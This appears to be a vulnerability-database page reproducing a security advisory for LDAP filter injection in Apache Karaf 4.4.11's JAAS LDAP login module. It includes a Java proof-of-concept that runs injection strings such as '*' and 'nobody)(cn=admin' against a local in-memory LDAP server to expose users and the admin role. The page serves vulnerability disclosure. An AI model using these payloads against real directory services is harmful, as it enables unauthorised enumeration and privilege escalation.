Lucene search
+L

Apache Karaf 4.4.11 JAAS LDAP Login Modules LDAP Filter Injection

🗓️ 28 Sep 2026 00:00:00Reported by Gjoko KrsticHigh five to JB!Type 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 5 Views

LDAP filter injection in Apache Karaf JAAS LDAP login modules via LDAPCache substitution.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2026-90979
28 Sep 202610:53
–circl
cve
CVE
CVE-2026-90979
28 Sep 202609:34
–cve
cvelist
Cvelist
CVE-2026-90979 Apache Karaf: LDAP filter injection in JAAS LDAP login modules
28 Sep 202609:34
–cvelist
euvd
EUVD
EUVD-2026-88197
28 Sep 202609:34
–euvd
nvd
NVD
CVE-2026-90979
28 Sep 202610:16
–nvd
<html><body><p>/*


Apache Karaf 4.4.11 JAAS LDAP Login Modules LDAP Filter Injection


Vendor: The Apache Software Foundation
Product web page: https://karaf.apache.org
Affected version: 4.4.11

Summary: Karaf is a lightweight, powerful, and enterprise
ready modulith runtime. It provides all the ecosystem and
bootstrapping options you need for your applications.

Desc: Apache Karaf's JAAS LDAP login module is affected by
LDAP filter injection. The user and role LDAP search filters
are built in LDAPCache by string substitution: each placeholder
(%u for the username, %dn for the user DN, %fqdn for the fully
qualified DN) is inserted with java.util.regex Matcher.quoteReplacement
followed by doubling backslashes, which is regex-replacement
escaping, not RFC 2254 / RFC 4515 LDAP filter escaping. The
filter construction itself therefore does not neutralize LDAP
metacharacters, it relies on the caller to have encoded the
values. The login module does pre-encode the username with
Util.doRFC2254Encoding before the user search, but the role
search filter also substitutes the DN values (%dn, %fqdn)
with no LDAP escaping, and the filter builder performs none
of its own. As a result a value that reaches the filter without
prior encoding is not neutralized and can alter the LDAP query.

Tested on: org.apache.karaf.jaas.modules-4.4.11.jar (Maven Central)
           Apache Karaf JAAS LDAP login module
           Eclipse Temurin OpenJDK 21.0.6 (LTS)
           UnboundID LDAP SDK for Java 7.0.1
           Microsoft Windows 10


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research &amp; Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2026-6006
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6006
CVE ID: CVE-2026-90979
CVE URL: https://www.cve.org/CVERecord?id=CVE-2026-90979


13.08.2026

*/

import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import org.apache.karaf.jaas.modules.ldap.LDAPOptions;
import org.apache.karaf.jaas.modules.ldap.LDAPCache;
import javax.naming.directory.InitialDirContext;
import javax.naming.Context;
import java.util.Hashtable;
import java.util.HashMap;
import java.util.Arrays;
import java.util.Map;

public class KarafLdapPoc {

    static final int PORT = 11389;
    static final String BASE = "dc=zeroscience,dc=com";

    public static void main(String[] args) throws Exception {
        InMemoryDirectoryServerConfig cfg = new InMemoryDirectoryServerConfig(BASE);
        cfg.addAdditionalBindCredentials("cn=Directory Manager", "managerpw");
        cfg.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig("default", PORT));
        cfg.setSchema(null);
        InMemoryDirectoryServer ds = new InMemoryDirectoryServer(cfg);
        ds.startListening();

        ds.add("dn: " + BASE, "objectClass: domain", "dc: zeroscience");
        ds.add("dn: ou=users," + BASE, "objectClass: organizationalUnit", "ou: users");
        ds.add("dn: uid=hans,ou=users," + BASE, "objectClass: inetOrgPerson",
               "cn: hans", "sn: hans", "uid: hans", "userPassword: hanspw");
        ds.add("dn: uid=bubby,ou=users," + BASE, "objectClass: inetOrgPerson",
               "cn: bubby", "sn: bubby", "uid: bubby", "userPassword: bubbypw");
        ds.add("dn: ou=groups," + BASE, "objectClass: organizationalUnit", "ou: groups");
        ds.add("dn: cn=users,ou=groups," + BASE, "objectClass: posixGroup",
               "cn: users", "gidNumber: 1000", "memberUid: hans", "memberUid: bubby");
        ds.add("dn: cn=admin,ou=groups," + BASE, "objectClass: posixGroup",
               "cn: admin", "gidNumber: 1001", "memberUid: bubby");

        System.out.println("[*] In-memory LDAP up on ldap://127.0.0.1:" + PORT + " (base " + BASE + ")");
        System.out.println("    users: hans(hanspw), bubby(bubbypw) | groups: users=[hans,bubby], admin=[bubby]\n");

        Map<string object=""> o = new HashMap&lt;&gt;();
        o.put(LDAPOptions.CONNECTION_URL, "ldap://127.0.0.1:" + PORT);
        o.put(LDAPOptions.CONNECTION_USERNAME, "cn=Directory Manager");
        o.put(LDAPOptions.CONNECTION_PASSWORD, "managerpw");
        o.put(LDAPOptions.USER_BASE_DN, "ou=users," + BASE);
        o.put(LDAPOptions.USER_FILTER, "(uid=%u)");
        o.put(LDAPOptions.USER_SEARCH_SUBTREE, "true");
        o.put(LDAPOptions.ROLE_BASE_DN, "ou=groups," + BASE);
        o.put(LDAPOptions.ROLE_FILTER, "(memberUid=%u)");
        o.put(LDAPOptions.ROLE_NAME_ATTRIBUTE, "cn");
        o.put(LDAPOptions.ROLE_SEARCH_SUBTREE, "true");
        o.put(LDAPOptions.AUTHENTICATION, "simple");
        o.put(LDAPOptions.DISABLE_CACHE, "true");
        o.put(LDAPOptions.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        LDAPCache cache = new LDAPCache(new LDAPOptions(o));

        System.out.println("=== BASELINE (honest, no injection) ===");
        String[] hansDn = cache.getUserDnAndNamespace("hans");
        System.out.println("getUserDnAndNamespace(\"hans\") = " + Arrays.toString(hansDn));
        String[] hansRoles = cache.getUserRoles("hans", hansDn[0], hansDn[1]);
        System.out.println("getUserRoles(\"hans\")           = " + Arrays.toString(hansRoles) + "   (expected: [users], NOT admin)");
        String[] missing = cache.getUserDnAndNamespace("nonexistent");
        System.out.println("getUserDnAndNamespace(\"nonexistent\") = " + Arrays.toString(missing) + "   (expected: null)\n");

        System.out.println("=== PRIMITIVE A: user-search filter injection ===");
        String[] star = cache.getUserDnAndNamespace("*");
        System.out.println("getUserDnAndNamespace(\"*\") = " + Arrays.toString(star));
        System.out.println("  -&gt; A correct (RFC-4515-escaped) impl would search for a LITERAL uid=\"*\" and return null.");
        System.out.println("  -&gt; Returning a real user DN PROVES '*' is injected as an LDAP wildcard (CWE-90).\n");

        System.out.println("=== PRIMITIVE B: role-search filter injection ===");
        String[] injRolesStar = cache.getUserRoles("*", hansDn[0], hansDn[1]);
        System.out.println("getUserRoles(\"*\")              = " + Arrays.toString(injRolesStar) + "   (memberUid=* -&gt; ALL groups)");
        String[] injRolesBool = cache.getUserRoles("nobody)(cn=admin", hansDn[0], hansDn[1]);
        System.out.println("getUserRoles(\"nobody)(cn=admin\") = " + Arrays.toString(injRolesBool) + "   (boolean injection targeting admin)");
        System.out.println("  -&gt; If 'admin' appears here for a non-admin principal, the role filter is injectable.\n");

        System.out.println("=== AUTH-BYPASS CHECK (search-then-bind still gates) ===");
        if (star != null) {
            String dn = star[0] + "," + "ou=users," + BASE;
            boolean bound;
            try {
                Hashtable<string object=""> env = new Hashtable&lt;&gt;();
                env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
                env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:" + PORT);
                env.put(Context.SECURITY_AUTHENTICATION, "simple");
                env.put(Context.SECURITY_PRINCIPAL, dn);
                env.put(Context.SECURITY_CREDENTIALS, "WRONG-PASSWORD");
                new InitialDirContext(env).close();
                bound = true;
            } catch (Exception e) {
                bound = false;
            }
            System.out.println("bind(" + dn + ", \"WRONG-PASSWORD\") succeeded? " + bound
                    + "   (expected: false -&gt; injection alone is NOT a pre-auth bypass)\n");
        }

        System.out.println("[*] Done.");
        ds.shutDown(true);
    }
}
</string></string></p></body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Sep 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
EPSS0.00265
5